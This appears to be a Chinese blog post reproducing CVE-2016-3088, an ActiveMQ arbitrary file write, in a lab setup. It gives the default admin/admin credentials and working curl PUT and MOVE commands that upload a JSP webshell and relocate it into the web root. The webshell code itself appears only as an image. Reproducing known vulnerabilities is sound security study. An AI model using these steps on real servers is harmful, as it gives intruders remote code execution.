CVE-2016-3088 (ActiveMQ任意文件写入漏洞) 复现

本文采用写入webshell的方式复现

终端进入CVE-2016-3088目录
touch shell.jsp创建测试文件往里写入:
image
保存退出

访问 http://your-ip:8161/admin/test/systemProperties.jsp获取 ActiveMQ 绝对路径
(默认账密admin/admin)
在页面中查看 ActiveMQ 的安装路径(如/opt/activemq)
image

发送PUT请求上传webshell文件(最开始创建的shell.jsp文件)
curl -X PUT -H "Content-Length: $(wc -c < shell.jsp)" http://192.168.75.132:8161/fileserver/2.txt --data-binary @shell.jsp
image
PS:
-X PUT:指定 HTTP 方法为 PUT
-H "Content-Length: ...":自动计算文件长度(wc -c < shell.jsp获取字节数)
--data-binary @shell.jsp:读取本地shell.jsp文件内容作为请求体

发送MOVE请求移动文件
curl -X MOVE -H "Destination: file:///opt/activemq/webapps/api/s.jsp" http://192.168.75.132:8161/fileserver/2.txt
image

最后访问 http://your-ip:8161/api/s.jsp 即可触发 webshell(需管理员权限登录admin/admin

posted @ 2025-07-26 13:26  小小葱油  阅读(42)  评论(0)    收藏  举报